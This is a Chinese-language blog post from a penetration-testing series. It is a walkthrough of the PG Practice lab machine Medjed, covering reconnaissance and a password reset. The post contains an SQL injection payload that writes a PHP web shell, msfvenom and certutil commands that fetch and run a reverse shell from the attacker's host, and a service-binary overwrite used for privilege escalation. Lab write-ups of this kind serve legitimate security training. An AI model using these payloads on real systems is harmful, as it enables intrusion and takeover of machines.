iT邦幫忙

2025 iThome 鐵人賽

DAY 14
0
Security

滲透探險 30 天:靶機挑戰記系列 第 14

PG Practice: Medjed 攻略

  • 分享至 

  • xImage
  •  

Recon

首先先來看看這臺機器開了什麼服務
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描

sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.125.137 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.125.137 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.125.137 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.125.137 -type recon; 

https://ithelp.ithome.com.tw/upload/images/20250927/20178791MheknMz3pv.png

在port 45332上面我們發現了一個PHP info的網頁 這個網頁可以幫助我們知道網站的根目錄在哪裡
http://192.168.104.127:45332/phpinfo.php
https://ithelp.ithome.com.tw/upload/images/20250927/20178791YJlpmDgtFU.png
https://ithelp.ithome.com.tw/upload/images/20250927/201787919eXngj3ab4.png

http://192.168.104.127:8000/
接著 Port 8000上面有一個服務叫做 BarracudaDrive 版本是 6.5
https://ithelp.ithome.com.tw/upload/images/20250927/20178791mM7gEn4EDd.png
https://ithelp.ithome.com.tw/upload/images/20250927/20178791BvUtCw1FK0.png

然後 Port 33033上面有員工的名字跟信箱 http://192.168.104.127:33033/
右上角可以 login
https://ithelp.ithome.com.tw/upload/images/20250927/20178791iYbmQh4yiA.png

但這個 login 是一個非常 tricky 的地方
回應訊息必須要靠手動一個個由網頁輸入才能得到
如果是利用字典擋爆破 你就會得不到那串綠色的訊息 然後無法得知現在的狀態
手動輸入結果
https://ithelp.ithome.com.tw/upload/images/20250927/201787919BsoSQt89j.png

利用字典檔爆破的結果
https://ithelp.ithome.com.tw/upload/images/20250927/20178791iLduulZLR1.png

基於我不是一個通靈的高手,所以只能求助官方解 QQ

這邊要使用的是 Jerren 的 username jerren.devops 與他座右銘 paranoid 去設定新的密碼
https://ithelp.ithome.com.tw/upload/images/20250927/2017879176PlaTaVVD.png
https://ithelp.ithome.com.tw/upload/images/20250927/20178791mccAz1D0X3.png

在利用新的密碼登入後,最底下有一個測試連結到 request profile SLUG
https://ithelp.ithome.com.tw/upload/images/20250927/20178791XrVx2fuDgf.png

Initial Access

原本以為這個 URL 是要給我們一個 NTLM
結果竟然是要考 SQL injection
https://ithelp.ithome.com.tw/upload/images/20250927/20178791XTZzJA7wZV.png
https://ithelp.ithome.com.tw/upload/images/20250927/20178791GPTbeHlfPo.png
還記得之前的 PHPinfo嗎? 上面有網站根目錄的位置
寫一個 webshell 進去

' UNION SELECT '<?php system($_GET["cmd"]);?>' INTO OUTFILE "C:/xampp/htdocs/cmd.php" -- //

http://192.168.104.127:45332/cmd.php?cmd=whoami
https://ithelp.ithome.com.tw/upload/images/20250927/20178791GBZUHSe5nZ.png

順利拿到 Webshell 後 我們需要一個可以連回 kali的 reverse shell
所以用 msfvenom 產生後、上傳、執行~

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.198 LPORT=5040 -f exe -o rShell.exe
certutil -urlcache -f http://192.168.45.198:135/rShell.exe rShell.exe

https://ithelp.ithome.com.tw/upload/images/20250927/20178791VVptLi8y6V.png

http://192.168.104.127:45332/cmd.php?cmd=rShell.exe 

Yes! 順利拿到 reverse shell 還有 flag
https://ithelp.ithome.com.tw/upload/images/20250927/20178791QWUPIoIxry.png
https://ithelp.ithome.com.tw/upload/images/20250927/20178791e4qF2OEu5P.png

Privilege Escalation

在更早之前的版本搜索中 有在exploit DB 上面看到一個 exploit code BarracudaDrive 6.5 https://www.exploit-db.com/exploits/48789
我們先用這個來試看看
https://ithelp.ithome.com.tw/upload/images/20250927/20178791I1nmSmoYBk.png

我們先來檢查我們對 bd 還有 bd.exe的權限
https://ithelp.ithome.com.tw/upload/images/20250927/20178791sPtK9HSe3A.png

比較不一樣的是 我這邊沒辦法順利 compile a C code
所以再研究 exploit code 的流程以後 決定利用剛剛的 reverse shell 重新覆蓋 bd.exe
https://ithelp.ithome.com.tw/upload/images/20250927/20178791RHf5DKXT2w.png
https://ithelp.ithome.com.tw/upload/images/20250927/20178791KbDNZHPW66.png
關機後,順利拿到 reverse shell 與 root 的權限

shutdown /r

https://ithelp.ithome.com.tw/upload/images/20250927/20178791sfChIqo8Ro.png
https://ithelp.ithome.com.tw/upload/images/20250927/20178791JlYglgA9W9.png


上一篇
PG Practice: Postfish 攻略
下一篇
PG Practice: Kevin 攻略
系列文
滲透探險 30 天:靶機挑戰記21
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言